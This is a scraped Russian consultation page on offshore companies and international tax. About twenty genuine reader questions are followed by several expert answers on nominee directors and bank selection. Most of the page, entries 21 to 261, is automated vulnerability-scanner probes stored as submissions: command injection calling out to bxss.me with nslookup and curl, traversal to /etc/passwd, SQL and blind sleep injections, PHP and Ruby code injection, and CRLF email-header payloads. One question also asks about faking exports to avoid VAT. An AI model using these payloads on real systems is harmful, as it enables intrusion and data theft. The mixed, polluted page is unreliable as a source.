Логин или email Регистрация Пароль Я забыл пароль


Войти при помощи:

Судебная практика

Международное налогооблoжение / Онлайн-консультации / Офшоры. Актуальная практика, налогообложение

Офшоры. Актуальная практика, налогообложение

Уважаемые посетители!

Ведущие эксперты в области международного налогоообложения ответят на интересующие вас вопросы: как правильно выбрать нужную юрисдикцию, с помощью каких компаний можно купить офшор, как не ошибиться с посредником, как правильно управлять компанией и какие проблемы могут возникать при этом, а также многие другие вопросы.

Побойнев Алексей
Amond & Smith Ltd
Директор по налоговым и корпоративным вопросам, управляющий директор офиса в г. Санкт-Петербурге
Задать вопрос

Вопросы экспертам

1
Юлиана

Расскажите, как правильно выбрать иностранный банк для открытия счета? Стоит ли выбирать более престижный банк?
Авдеев Данил
Авдеев Данил

Компания «Соллерс Траст», Партнер

При открытии счета в иностранном банке необходимо учитывать несколько критериев, таких как страна регистрации, финансовые показатели банка, язык обслуживания, планируемые операции и тд.
Также немаловажным является процедура открытия банковского счета, в некоторых банках обязательно собеседование с управляющим по счету, в каких-то возможно дистанционное открытие счета.
Престижность банка не всегда имеет первоочередное значение, поэтому рекомендую учитывать все критерии при выборе правильного банка.
Вы не указали, о каком типе счета идет речь (физлицо или юрлицо) поэтому рекомендации были общими для обоих типов счетов.

2
Виктор Савичев

юрист

Что такое номинальный сервис? Можно ли зарегистрировать офшор с выбранным клиентом названием?
Авдеев Данил
Авдеев Данил

Компания «Соллерс Траст», Партнер

Номинальный сервис, как правило, включает в себя услуги директоров и акционеров. Подробнее об этой услуге, рисках, связанных с ней и их минимизации, пожалуйста, привожу выдержку из моей статьи:
Номинальный сервис всегда пользовался, и будет пользоваться популярностью. Номинальные директора и акционеры фигурируют в реестре компаний, таким образом, информация о конечных бенефициарах закрыта. Для того, чтобы свести опасность злоупотребления со стороны номинальных директоров и акционеров существуют различные механизмы защиты, они схожи во всех странах. В разных юрисдикциях те или иные документы могут иметь различные названия и объем, но с юридической точки зрения они предусматривают аналогичные защитные механизмы. Рассмотрим подобные механизмы на примере Республики Кипр.
При использовании услуги номинального Директора компании ее предоставление сопровождается следующими документами:
• Соглашение с компанией, предоставляющей услугу номинального Директора (Administrative Services Agreement).
Данный документ закрепляет условия предоставления номинального Директора, перечисляет права и обязанности сторон ограничение полномочий номинального Директора и ответственность за нарушение условий такого Соглашения.
• Отказное письмо номинального Директора с открытой датой.
Освобождает Директора от его обязанностей и прав в отношении Компании, в которой он был назначен Директором.
• При выдаче Генеральной доверенности номинальное лицо не имеет никаких сведений о деятельности компании, ее банковских счетах и пр.
• При необходимости можно предусмотреть дополнительные инструменты защиты: внесение в учредительные документы Компании положений, ограничивающих полномочия Директора. В разработке таких положений составители свободны в рамках соблюдения законности. Например, можно предусмотреть положение о невозможности осуществления сделок Директором от имени Компании на суммы, превышающие определенный предел, без письменного согласия акционеров компании. Выпуск решения участников (акционеров) Компании, ограничивающих полномочия Директора, любыми законными условиями.

Авдеев Данил
Авдеев Данил

Компания «Соллерс Траст», Партнер

Использование офшорной компании в качестве акционера, например, холдинговой кипрской SPV также сокращает риск совершения злоупотреблений третьими лицами. Офшорная компания в качестве акционера кипрской SPV будет иметь исключительные полномочия по управлению ею. Нахождение компании акционера кипрской SPV в классической офшорной юрисдикции, обеспечивает высокий уровень конфиденциальности сведений об этой компании, ее акционерах и управляющих.
Использование офшорных компаний в качестве акционеров холдинговых, торговых и иных операционных компаний может если не исключить, то значительно ограничить возможности совершения злоупотреблений третьими лицами. За счет этого в структуре Группы компаний появится дополнительный уровень компаний, выступающих акционерами и имеющих в таком качестве полномочия по управлению дочерними компаниями. В большинстве офшорных юрисдикций предусмотрены эффективные механизмы защиты от злоупотреблений со стороны третьих лиц. Кроме того, офшорные юрисдикции характеризуются высокой степенью конфиденциальности владения компаниями.
Как защититься от недобросовестных действий менеджмента компании?
Решение данного вопроса зависит от содержания категории «менеджмент», а если под ней понимать реальных лиц, принимающих решения от имени той или иной компании в качестве доверенного лица либо непосредственно Директора компании – и от способа оформления отношений между соответствующей компанией и таким должностным лицом.
В качестве инструментов защиты от действий лиц, принимающих решения от имени компаний, возможно использование ряда стандартных защитных механизмов:
• Внесение в учредительные документы компании (или письменное решение участников) положений об усложнении процедур принятия того или иного решения или вида решений (например, необходимость совместного или коллегиального решения, письменного разрешения бенефициара, акционера или иного лица/ лиц для совершения сделок или платежных поручений на суммы выше указанного предела);
• Внесение в соглашение, на основании которого данное лицо назначается на определенную должность или получает полномочия, положений об ответственности должностного лица за неисполнение/ нарушение условий соглашения;
• Выпуск отказных писем с открытой датой, позволяющих при необходимости отстранить то или иное лицо от исполняемой функции.
Этот список не является исчерпывающим. Целесообразность и эффективность тех или иных защитных мер в каждом конкретном случае будут зависеть от множества факторов, в том числе от степени вовлеченности бенефициаров в управление той или иной компанией, количества задействованных лиц и сторон, наличия конфликта их интересов, предвидимых рисков, объектов особой защиты.
Что касается возможности выбора названия оффшора клиентом, это не просто можно, это нужно. Процедура проверки наименования достаточно быстрая.

3
Елена Виногадова

Phjola Bank, assistant

Подскажите пожалуйста, может ли дочка финской компании, расположенная в Украине, отправить полученную прибыль в головной офис в Финляндии, оформив ее, как дивиденды?
4
Григорий Иванов

ООО Аспект, менеджер

Добрый день . Как вы думаете можно ли с помощью оффшорной компании купить товар в РФ без НДС и якобы экспортировать его в РБ или РК (декларации и оформления не нужны), но в реале товар оставить в РФ ?
5
Стефания

Банк, Специалист

Добрый день. Правда ли то,что в Украине ввели новый 10 % налог на валюто-обменные операции? Как это касается нерезидентов у которых открыт депозит в гривне?
6
Александр Швец

Донбасс-2ЛТД, Начальник ВЭД

Здравствуйте, Прошу сообщить перечень офф-шорных стран, в которых отсутствует акцизный налог на табачную продукцию. Заранее благодарен.
7
Наталья Пронина

Группа ЭНЕРГОПРОМ, Руководитель управления по персоналу

Добрый день! Российская компания планирует заключение договора на оказание услуг с гражданином США. Оказание услуг - территория США. Вознаграждение за оказание услуг будет подлежать налогооблажению (подоходный налог) на территории США или Российская компания должна уплачивать какие либо налоги с вознаграждения на территории РФ?
8
Александр Бережной

Бинвог, фин. директор

Какие реальные последствия могут иметь белизские изменения 2013 года для пользователей белизских офшоров?
9
Елена Иванова

СмФин, бухгалтер

Добрый день, интересует возможность регистрации компании в неоффшорной юрисдикции, например Македония (либо Сербия, Болгария). Есть у Вас в распоряжении информация в письменном виде по регистрации компаний в этих странах?
Авдеев Данил
Авдеев Данил

Компания «Соллерс Траст», Партнер

Можем предложить Болгарию из указанных Вами, а также Венгрию или Словакию.

10
Каргаполова Анна Николаевна

А3, Руководитель

Подскажите пожалуйста , как через суд и какой (арбитражный , мировой ) вернуть переплату за налог из ИФНС со сроком давности более трех лет. Платеж был до был до был до 01.06.2010 г.., (акт сверки запрошен 25.03.2014 г. )Сумма налога 31151,76 (вместе с пенями) .От налоговой получили отказ о возмещении излишне уплаченной суммы. на руках сейчас акт сверки, отказ от ИФНС, копия платежных поручений , справка об отсутствии задолженности. Где можно взять образец (заявление или иска) и какая госпошлина?
11
Алексей Кантор

agroespress, Гендиректор

Добрый день. Думаем открыть представительство в Лаосе. Хотим понять что лучше ... 1 Открыть представительство agroespress в Лаосе 2 Зарегистрировать в Лаосе юр лицо? Спасибо за ответ
12
Задачина Светлана

ЗАО, Заместитель директора по правовым вопросам

Добрый день! Мой вопрос для начала касается налога на имущество на Багамах, на яхты. Существует ли он? Заранее благодарю!
13
Гульнара Фарахутдинова

Банк, специалист

Уважаемые эксперты! С 1 января 2015г. вступили в силу поправки, внесенные в НК, в соотвтетствии с которыми прибыль контролируемой иностранной компании освобождается от налогообложения, если ее постоянным местонахождением является государство (территория), с которым имеется международный договор РФ по вопросам налогообложения. Вопрос следующий: обеспечивают ли Республика Кипр и Королевство Бельгии обмен информацией для целей налогообложения с РФ? Большое спасибо за помощь. С наилучшими пожеланиями, Гульнара. Казань
14
Галина Соломенцева

ООО "Авангард Трейд", Коммерческий Директор

здравствуйте, наша организация берет в аренду станок у фирмы казахстана как правильно составить договор? кто и какие должен заплатить налоги? мы производим на этом оборудовании кирпич являемся плательщиками ндс.
15
Ирина

ООО Вадир, Генеральный директор

Добрый день! Подскажите, пожалуйста, в целях минимизации налогообложения в какой форме лучше зарегистрировать деятельность в Белоруссии с целью оказания строительных услуг на территории республики? Есть ли возможность /целесообразность регистрации в экономически свободных зонах (снижено налоговое обременение) ?
16
Кутепов Игорь

ООО "Климат", Коммерческий директор

Я в России являюсь соучредителем компании - 50/50. В связи с этим у меня вопрос, что изменится для меня как для учредителя, после получения мною гражданства Германии? Имею ввиду, что изменится в России со стороны госорганов, какие у меня появятся дополнительные обязанности как у учредителя? Напарник по бизнесу переживает, что из-за моего второго гражданства Германии, наша компания может стать "мишенью" для всевозможных инстанций. Одним словом, какие подводные камни могут ждать нашу компанию? Вторая часть вопроса, как относится Германия, к своим новоиспеченным гражданам имеющим бизнес в России? Какие здесь могут быть вопросы? Гражданство Германии получаю по закон о репатриантах, как этнический немец. Этот закон, в качестве исключения разрешает репатриантам сохранение гражданство страны исхода. А Россия в ст. 62 Конституции РФ допускает наличие второго гражданства у гарждан РФ. При этом у меня сохраняется постоянная регистрация в РФ и я остаюсь налоговым резидентом РФ. Извините за сумбурность в изложении проблемы. За ранее спасибо за ответы.
17
Дмитриенко Иван

Чистота, Директор

WwЗдравствуйте! Подскажите наилучший вариант ? У нас (резидента России) есть программный продукт , будущий партнёр в Дании рекомендует бизнес регистрировать в Дании . Как нам поступить и какая форма ведения бизнеса будет наиболее удобной ? Важным условием является контроль с нашей стороны за управлением и хостингом в созданной организации во избежания копирования партнёром ? Заранее благодарны за ответ.
18
Яцков Сергей Петрович

АО "Алмаз-СП", начальник планово-договорного отдела

Планируем работы по сборке и установке оборудования в р. Ангола. Прошу подсказать как рассчитать налог (прописать в договоре) на проводимые работы в Анголе
19
Елена Ражавкая

ИП Ражавская, главный бухгаптер

Здравствуйте! Интересует открытие ООО в Голландии и выбор оптимальной системы налогообложения
20
Маргарита

Translatedselves, CEO

Доброго времени суток, если вкратце, то: Являюсь гражданкой РФ, недавно получила Estonian e-residency, а так же в марте выхожу замуж за мексиканца. Буду жить в Мексике. Собираюсь регистрировать онлайн бизнес в Эстонии. Как в этом случае я должно буду уплачивать налоги? Отмена двойного налогообложения есть между Эстонией и Мексикой, а так же между Мексикой и Россией. Между Эстонией и Россией ее нет. Спасибо, Маргарита
21
1

1, 1

1
22
1

1, 1

1
23
1

1, 1

1
24
1

1, 1

1
25
1

1, 1

1
26
1

1, 1

1
27
1

1, 1

1
28
1

1, 1

1
29
1

1, 1

555
30
1C8HG7yC3aO

1, 1

1
31
1

1, 1CY6M5v7ZiO

1
32
response.write(9807675*9872206)

1, 1

1
33
'+response.write(9807675*9872206)+'

1, 1

1
34
"+response.write(9807675*9872206)+"

1, 1

1
35
1

1, response.write(9444745*9305042)

1
36
echo xcglay$()\ tofkbs\nz^xyu||a #' &echo xcglay$()\ tofkbs\nz^xyu||a #|" &echo xcglay$()\ tofkbs\nz^xyu||a #

1, 1

1
37
&echo yehuyl$()\ gazwie\nz^xyu||a #' &echo yehuyl$()\ gazwie\nz^xyu||a #|" &echo yehuyl$()\ gazwie\nz^xyu||a #

1, 1

1
38
1

1B6SDlSs4EO, 1

1
39
1

1, '+response.write(9444745*9305042)+'

1
40
|echo jsqera$()\ vrpmqk\nz^xyu||a #' |echo jsqera$()\ vrpmqk\nz^xyu||a #|" |echo jsqera$()\ vrpmqk\nz^xyu||a #

1, 1

1
41
1

1, 1

1Dz7mTB0yVO
42
(nslookup -q=cname hitebvwatysrfec572.bxss.me||curl hitebvwatysrfec572.bxss.me))

1, 1

1
43
$(nslookup -q=cname hitkgcsbupbpw8cf4f.bxss.me||curl hitkgcsbupbpw8cf4f.bxss.me)

1, 1

1
44
&nslookup -q=cname hittucxnifzsp04e22.bxss.me&'\"`0&nslookup -q=cname hittucxnifzsp04e22.bxss.me&`'

1, 1

1
45
1

1, "+response.write(9444745*9305042)+"

1
46
sSSnzKsc

1, 1

1
47
1

response.write(9755661*9356892), 1

1
48
1

'+response.write(9755661*9356892)+', 1

1
49
&(nslookup -q=cname hitrzdkspkqbif44bc.bxss.me||curl hitrzdkspkqbif44bc.bxss.me)&'\"`0&(nslookup -q=cname hitrzdkspkqbif44bc.bxss.me||curl hitrzdkspkqbif44bc.bxss.me)&`'

1, 1

1
50
1

1, U1mp6leI

1
51
|(nslookup -q=cname hitsmuypkerpy5e8e7.bxss.me||curl hitsmuypkerpy5e8e7.bxss.me)

1, 1

1
52
1

CO1lXlOZ, 1

1
53
`(nslookup -q=cname hitijobtwujgn6b593.bxss.me||curl hitijobtwujgn6b593.bxss.me)`

1, 1

1
54
;(nslookup -q=cname hitnznkqdfvli780f7.bxss.me||curl hitnznkqdfvli780f7.bxss.me)|(nslookup -q=cname hitnznkqdfvli780f7.bxss.me||curl hitnznkqdfvli780f7.bxss.me)&(nslookup -q=cname hitnznkqdfvli780f7.bxss.me||curl hitnznkqdfvli780f7.bxss.me)

1, 1

1
55
1

1, echo zxtiah$()\ byfxgs\nz^xyu||a #' &echo zxtiah$()\ byfxgs\nz^xyu||a #|" &echo zxtiah$()\ byfxgs\nz^xyu||a #

1
56
../../../../../../../../../../../../../../etc/passwd

1, 1

1
57
1

1, &echo zitsyk$()\ lnluac\nz^xyu||a #' &echo zitsyk$()\ lnluac\nz^xyu||a #|" &echo zitsyk$()\ lnluac\nz^xyu||a #

1
58
1

1, |echo uwniyx$()\ kxfule\nz^xyu||a #' |echo uwniyx$()\ kxfule\nz^xyu||a #|" |echo uwniyx$()\ kxfule\nz^xyu||a #

1
59
1

"+response.write(9755661*9356892)+", 1

1
60
1

1, (nslookup -q=cname hitnttwldrwnb86336.bxss.me||curl hitnttwldrwnb86336.bxss.me))

1
61
../../../../../../../../../../../../../../windows/win.ini

1, 1

1
62
1%0abcc:009247.2024-37345.2024.8afdd.19661.2@bxss.me

1, 1

1
63
file:///etc/passwd

1, 1

1
64
1

1, $(nslookup -q=cname hitsbxdqamojx72404.bxss.me||curl hitsbxdqamojx72404.bxss.me)

1
65
to@example.com>%0d%0abcc:009247.2024-37346.2024.8afdd.19661.2@bxss.me

1, 1

1
66
1

1, 1

j3UyxCeA
67
1

1, 1%0abcc:009247.2024-37347.2024.8afdd.19661.2@bxss.me

1
68
1

1, 1

1
69
1

1, to@example.com>%0d%0abcc:009247.2024-37348.2024.8afdd.19661.2@bxss.me

1
70
1

1, 1

1
71
../1

1, 1

1
72
1

1, 1

1
73
1

1, 1

1
74
1

1, ../../../../../../../../../../../../../../etc/passwd

1
75
1

1, &nslookup -q=cname hitqiuakkkkcm59ccd.bxss.me&'\"`0&nslookup -q=cname hitqiuakkkkcm59ccd.bxss.me&`'

1
76
1

1, ../../../../../../../../../../../../../../windows/win.ini

1
77
${9999750+10000003}

1, 1

1
78
1

1, file:///etc/passwd

1
79
12345'"\'\");|]*%00{%0d%0a<%00>%bf%27'💡

1, 1

1
80
1

1, ${10000011+9999980}

1
81
1

1, &(nslookup -q=cname hitcsbybexvzo404b4.bxss.me||curl hitcsbybexvzo404b4.bxss.me)&'\"`0&(nslookup -q=cname hitcsbybexvzo404b4.bxss.me||curl hitcsbybexvzo404b4.bxss.me)&`'

1
82
1

${9999106+9999121}, 1

1
83
1

1, |(nslookup -q=cname hitfumxdfvbiocf0c7.bxss.me||curl hitfumxdfvbiocf0c7.bxss.me)

1
84
1

1, 12345'"\'\");|]*%00{%0d%0a<%00>%bf%27'💡

1
85
1

1, `(nslookup -q=cname hitdtbrmnfkerb4dee.bxss.me||curl hitdtbrmnfkerb4dee.bxss.me)`

1
86
1

1%0abcc:009247.2024-37349.2024.8afdd.19661.2@bxss.me, 1

1
87
1

1, 1

1
88
1

1, ;(nslookup -q=cname hitjdoieoinxcfa686.bxss.me||curl hitjdoieoinxcfa686.bxss.me)|(nslookup -q=cname hitjdoieoinxcfa686.bxss.me||curl hitjdoieoinxcfa686.bxss.me)&(nslookup -q=cname hitjdoieoinxcfa686.bxss.me||curl hitjdoieoinxcfa686.bxss.me)

1
89
1

1, 1

1
90
1

1, ../1

1
91
1

to@example.com>%0d%0abcc:009247.2024-37350.2024.8afdd.19661.2@bxss.me, 1

1
92
1

1, 1

${9999484+10000020}
93
http://dicrpdbjmemujemfyopp.zzz/yrphmgdpgulaszriylqiipemefmacafkxycjaxjs%3F.jpg

1, 1

1
94
1&n908463=v975291

1, 1

1
95
1yrphmgdpgulaszriylqiipemefmacafkxycjaxjs%00.jpg

1, 1

1
96
1

12345'"\'\");|]*%00{%0d%0a<%00>%bf%27'💡, 1

1
97
1

1, 1

response.write(9840412*9911616)
98
1

echo ttzmxs$()\ xptcjn\nz^xyu||a #' &echo ttzmxs$()\ xptcjn\nz^xyu||a #|" &echo ttzmxs$()\ xptcjn\nz^xyu||a #, 1

1
99
1

1, 1

1
100
1

&echo jokxum$()\ daaqxf\nz^xyu||a #' &echo jokxum$()\ daaqxf\nz^xyu||a #|" &echo jokxum$()\ daaqxf\nz^xyu||a #, 1

1
101
Http://bxss.me/t/fit.txt

1, 1

1
102
1

1, 1

'+response.write(9840412*9911616)+'
103
1

../../../../../../../../../../../../../../etc/passwd, 1

1
104
1

1, 1

1
105
1

|echo xjpmvw$()\ vfsqwl\nz^xyu||a #' |echo xjpmvw$()\ vfsqwl\nz^xyu||a #|" |echo xjpmvw$()\ vfsqwl\nz^xyu||a #, 1

1
106
1

1, 1

1%0abcc:009247.2024-37355.2024.8afdd.19661.2@bxss.me
107
1

1, 1

"+response.write(9840412*9911616)+"
108
1

(nslookup -q=cname hitahhkkfvxfe45307.bxss.me||curl hitahhkkfvxfe45307.bxss.me)), 1

1
109
1

1, 1

to@example.com>%0d%0abcc:009247.2024-37356.2024.8afdd.19661.2@bxss.me
110
http://bxss.me/t/fit.txt%3F.jpg

1, 1

1
111
1

../../../../../../../../../../../../../../windows/win.ini, 1

1
112
1

1, 1&n956811=v913066

1
113
'"()

1, 1

1
114
1

$(nslookup -q=cname hitxebympwwvw6189c.bxss.me||curl hitxebympwwvw6189c.bxss.me), 1

1
115
1

file:///etc/passwd, 1

1
116
)

1, 1

1
117
/etc/shells

1, 1

1
118
1

1, 1

1
119
1

1, 1

120
1

1, 1

12345'"\'\");|]*%00{%0d%0a<%00>%bf%27'💡
121
1

&nslookup -q=cname hitgrrvniaoyr7f917.bxss.me&'\"`0&nslookup -q=cname hitgrrvniaoyr7f917.bxss.me&`', 1

1
122
1

1&n929361=v992305, 1

1
123
!(()&&!|*|*|

1, 1

1
124
1

&(nslookup -q=cname hitppmblnsfrcbade0.bxss.me||curl hitppmblnsfrcbade0.bxss.me)&'\"`0&(nslookup -q=cname hitppmblnsfrcbade0.bxss.me||curl hitppmblnsfrcbade0.bxss.me)&`', 1

1
125
'.gethostbyname(lc('hitbg'.'hvqgpulz5e61f.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(115).chr(71).chr(118).chr(70).'

1, 1

1
126
c:/windows/win.ini

1, 1

1
127
1'&&sleep(27*1000)*gngore&&'

1, 1

1
128
^(#$!@#$)(()))******

1, 1

1
129
1"&&sleep(27*1000)*hebxls&&"

1, 1

1
130
1

1, )

1
131
bxss.me

1, 1

1
132
1

../1, 1

1
133
1

|(nslookup -q=cname hitlgtlzmvxgg66e77.bxss.me||curl hitlgtlzmvxgg66e77.bxss.me), 1

1
134
1

1, !(()&&!|*|*|

1
135
;assert(base64_decode('cHJpbnQobWQ1KDMxMzM3KSk7'));

1, 1

1
136
".gethostbyname(lc("hitkb"."uwpgghnude40c.bxss.me."))."A".chr(67).chr(hex("58")).chr(113).chr(77).chr(119).chr(83)."

1, 1

1
137
';print(md5(31337));$a='

1, 1

1
138
1'||sleep(27*1000)*hippvf||'

1, 1

1
139
1

1, '.gethostbyname(lc('hitml'.'ptjrqomx3d25d.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(110).chr(67).chr(109).chr(80).'

1
140
1

1, http://dicrpdbjmemujemfyopp.zzz/yrphmgdpgulaszriylqiipemefmacafkxycjaxjs%3F.jpg

1
141
1

`(nslookup -q=cname hithmnwtoyytj6a128.bxss.me||curl hithmnwtoyytj6a128.bxss.me)`, 1

1
142
1

1, 1

1&n942025=v905854
143
1

;(nslookup -q=cname hitnfwkxekrqgd253d.bxss.me||curl hitnfwkxekrqgd253d.bxss.me)|(nslookup -q=cname hitnfwkxekrqgd253d.bxss.me||curl hitnfwkxekrqgd253d.bxss.me)&(nslookup -q=cname hitnfwkxekrqgd253d.bxss.me||curl hitnfwkxekrqgd253d.bxss.me), 1

1
144
1

1, 1yrphmgdpgulaszriylqiipemefmacafkxycjaxjs%00.jpg

1
145
1

1, Http://bxss.me/t/fit.txt

1
146
1

1, ^(#$!@#$)(()))******

1
147
1

), 1

1
148
1"||sleep(27*1000)*agyrtl||"

1, 1

1
149
1

1, http://bxss.me/t/fit.txt%3F.jpg

1
150
1

1, '"()

1
151
1

1, ".gethostbyname(lc("hitjw"."tsibvqfnbfb40.bxss.me."))."A".chr(67).chr(hex("58")).chr(122).chr(88).chr(112).chr(90)."

1
152
";print(md5(31337));$a="

1, 1

1
153
1

!(()&&!|*|*|, 1

1
154
HttP://bxss.me/t/xss.html?%00

1, 1

1
155
1

^(#$!@#$)(()))******, 1

1
156
bxss.me/t/xss.html?%00

1, 1

1
157
1

'.gethostbyname(lc('hitgt'.'bmicebvc914f6.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(107).chr(85).chr(97).chr(80).', 1

1
158
1

1, /etc/shells

1
159
1

1, HttP://bxss.me/t/xss.html?%00

1
160
1

1, bxss.me/t/xss.html?%00

1
161
1

1, 1'&&sleep(27*1000)*lezcqo&&'

1
162
1

".gethostbyname(lc("hituu"."lhzlappb82b80.bxss.me."))."A".chr(67).chr(hex("58")).chr(104).chr(88).chr(113).chr(74).", 1

1
163
1

1, 1"&&sleep(27*1000)*mwrblg&&"

1
164
1

HttP://bxss.me/t/xss.html?%00, 1

1
165
1

1, c:/windows/win.ini

1
166
1

1, bxss.me

1
167
1

1, 1'||sleep(27*1000)*hjbovl||'

1
168
1

1, 1"||sleep(27*1000)*glqplp||"

1
169
1

http://dicrpdbjmemujemfyopp.zzz/yrphmgdpgulaszriylqiipemefmacafkxycjaxjs%3F.jpg, 1

1
170
${@print(md5(31337))}

1, 1

1
171
1

bxss.me/t/xss.html?%00, 1

1
172
1

1yrphmgdpgulaszriylqiipemefmacafkxycjaxjs%00.jpg, 1

1
173
1

'"(), 1

1
174
${@print(md5(31337))}\

1, 1

1
175
1

Http://bxss.me/t/fit.txt, 1

1
176
1

1, 1

1
177
1

1, 1

'.gethostbyname(lc('hitae'.'mhvzleice2d29.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(102).chr(88).chr(112).chr(69).'
178
1

http://bxss.me/t/fit.txt%3F.jpg, 1

1
179
1

1, 1

".gethostbyname(lc("hithp"."vffqlvnm4e84a.bxss.me."))."A".chr(67).chr(hex("58")).chr(102).chr(84).chr(121).chr(79)."
180
-1 OR 2+794-794-1=0+0+0+1 --

1, 1

1
181
-1 OR 2+669-669-1=0+0+0+1

1, 1

1
182
1

/etc/shells, 1

1
183
"+"A".concat(70-3).concat(22*4).concat(106).concat(85).concat(113).concat(76)+(require"socket" Socket.gethostbyname("hitge"+"hcaboypr9a32c.bxss.me.")[3].to_s)+"

1, 1

1
184
-1' OR 2+68-68-1=0+0+0+1 --

1, 1

1
185
1

1, 1

)
186
'+'A'.concat(70-3).concat(22*4).concat(108).concat(83).concat(115).concat(66)+(require'socket' Socket.gethostbyname('hitmi'+'qyglmryj94a7f.bxss.me.')[3].to_s)+'

1, 1

1
187
-1' OR 2+770-770-1=0+0+0+1 or 'XTKnqxsZ'='

1, 1

1
188
'.print(md5(31337)).'

1, 1

1
189
1

1, "+"A".concat(70-3).concat(22*4).concat(108).concat(68).concat(110).concat(76)+(require"socket" Socket.gethostbyname("hittt"+"ljpwtqxj4bbbf.bxss.me.")[3].to_s)+"

1
190
1

1, 1

!(()&&!|*|*|
191
1

1, '+'A'.concat(70-3).concat(22*4).concat(114).concat(86).concat(109).concat(78)+(require'socket' Socket.gethostbyname('hitko'+'qumljsiif1b96.bxss.me.')[3].to_s)+'

1
192
-1" OR 2+699-699-1=0+0+0+1 --

1, 1

1
193
1

c:/windows/win.ini, 1

1
194
1

1, ;assert(base64_decode('cHJpbnQobWQ1KDMxMzM3KSk7'));

1
195
1

1'&&sleep(27*1000)*khvrqm&&', 1

1
196
1

1, 1

^(#$!@#$)(()))******
197
1

"+"A".concat(70-3).concat(22*4).concat(103).concat(88).concat(104).concat(87)+(require"socket" Socket.gethostbyname("hitvr"+"cbtwfbkge190d.bxss.me.")[3].to_s)+", 1

1
198
1

1, 1

HttP://bxss.me/t/xss.html?%00
199
1

1, ';print(md5(31337));$a='

1
200
1

1, 1

bxss.me/t/xss.html?%00
201
1

bxss.me, 1

1
202
1

1"&&sleep(27*1000)*twiunm&&", 1

1
203
)))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))

1, 1

1
204
xfs.bxss.me

1, 1

1
205
1

1, xfs.bxss.me

1
206
1

1, ";print(md5(31337));$a="

1
207
1

1'||sleep(27*1000)*lqthjx||', 1

1
208
1

'+'A'.concat(70-3).concat(22*4).concat(104).concat(65).concat(99).concat(81)+(require'socket' Socket.gethostbyname('hittm'+'bkvpvxsp024e4.bxss.me.')[3].to_s)+', 1

1
209
1

1, )))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))

1
210
1

1"||sleep(27*1000)*dtetof||", 1

1
211
1

xfs.bxss.me, 1

1
212
1

))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))), 1

1
213
1

1, ${@print(md5(31337))}

1
214
1

1, ${@print(md5(31337))}\

1
215
1

1, 1

"+"A".concat(70-3).concat(22*4).concat(114).concat(82).concat(122).concat(78)+(require"socket" Socket.gethostbyname("hitax"+"nouqetwy5c37c.bxss.me.")[3].to_s)+"
216
1

1, '.print(md5(31337)).'

1
217
1

1, 1

'+'A'.concat(70-3).concat(22*4).concat(102).concat(65).concat(100).concat(76)+(require'socket' Socket.gethostbyname('hitjb'+'znaadwsw83aed.bxss.me.')[3].to_s)+'
218
1

;assert(base64_decode('cHJpbnQobWQ1KDMxMzM3KSk7'));, 1

1
219
1

1, 1

echo tskblb$()\ mgifgb\nz^xyu||a #' &echo tskblb$()\ mgifgb\nz^xyu||a #|" &echo tskblb$()\ mgifgb\nz^xyu||a #
220
'"

1, 1

1
221
1

';print(md5(31337));$a=', 1

1
222
1

";print(md5(31337));$a=", 1

1
223

1, 1

1
224
1

${@print(md5(31337))}, 1

1
225
1

1, '"

1
226
1

'", 1

1
227
1

${@print(md5(31337))}\, 1

1
228
1

1, 1

&echo uzvmgh$()\ fltxbu\nz^xyu||a #' &echo uzvmgh$()\ fltxbu\nz^xyu||a #|" &echo uzvmgh$()\ fltxbu\nz^xyu||a #
229
1

'.print(md5(31337)).', 1

1
230
1

1, 1

)))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))
231
1

1, 1

'"()
232
1'"()&%

1, 1

1
233
1

1, 1

|echo hkxyfb$()\ bzpmik\nz^xyu||a #' |echo hkxyfb$()\ bzpmik\nz^xyu||a #|" |echo hkxyfb$()\ bzpmik\nz^xyu||a #
234
1

1, 1

1'&&sleep(27*1000)*fzoojm&&'
235
1

1, 1

(nslookup -q=cname hitpcbjmjsrxl87b17.bxss.me||curl hitpcbjmjsrxl87b17.bxss.me))
236
1

1, 1

1"&&sleep(27*1000)*qvicqh&&"
237
'"()&%

1, 1

1
238
19154803

1, 1

1
239
1

1, 1

$(nslookup -q=cname hitatvduxvymw7969d.bxss.me||curl hitatvduxvymw7969d.bxss.me)
240
1

1, 1

1'||sleep(27*1000)*dvtvey||'
241
bfg6148%EF%BC%9Cs1%EF%B9%A5s2%CA%BAs3%CA%B9hjl6148

1, 1

1
242
1

1, 1

&nslookup -q=cname hitehdpritjwl2b271.bxss.me&'\"`0&nslookup -q=cname hitehdpritjwl2b271.bxss.me&`'
243
1

1, 1

&(nslookup -q=cname hitgqitagzwsk8581a.bxss.me||curl hitgqitagzwsk8581a.bxss.me)&'\"`0&(nslookup -q=cname hitgqitagzwsk8581a.bxss.me||curl hitgqitagzwsk8581a.bxss.me)&`'
244
1

1, 1

1"||sleep(27*1000)*gyhinh||"
245
1

1, 1

http://dicrpdbjmemujemfyopp.zzz/yrphmgdpgulaszriylqiipemefmacafkxycjaxjs%3F.jpg
246
1

1, 1

1yrphmgdpgulaszriylqiipemefmacafkxycjaxjs%00.jpg
247
bfgx3380%C0%BEz1%C0%BCz2a%90bcxhjl3380

1, 1

1
248
1

1, 1

|(nslookup -q=cname hitegawudhckkd652f.bxss.me||curl hitegawudhckkd652f.bxss.me)
249
1

1, 1

'"
250
1

1, 1

Http://bxss.me/t/fit.txt
251
1

1, 1

252
1

1, 1

`(nslookup -q=cname hitpztjuzotycf099b.bxss.me||curl hitpztjuzotycf099b.bxss.me)`
253
1

1, 1

;(nslookup -q=cname hitmhubjvqrlz182e4.bxss.me||curl hitmhubjvqrlz182e4.bxss.me)|(nslookup -q=cname hitmhubjvqrlz182e4.bxss.me||curl hitmhubjvqrlz182e4.bxss.me)&(nslookup -q=cname hitmhubjvqrlz182e4.bxss.me||curl hitmhubjvqrlz182e4.bxss.me)
254
1

1, 1

http://bxss.me/t/fit.txt%3F.jpg
255
1

1, 1

/etc/shells
256
1

1, 1

1
257
1

1, 1

c:/windows/win.ini
258
<%={{={@{#{${dfb}}%>

1, 1

1
259
1

1, 1

../../../../../../../../../../../../../../etc/passwd
260
1

1, 1

xfs.bxss.me
261
1

1, 1

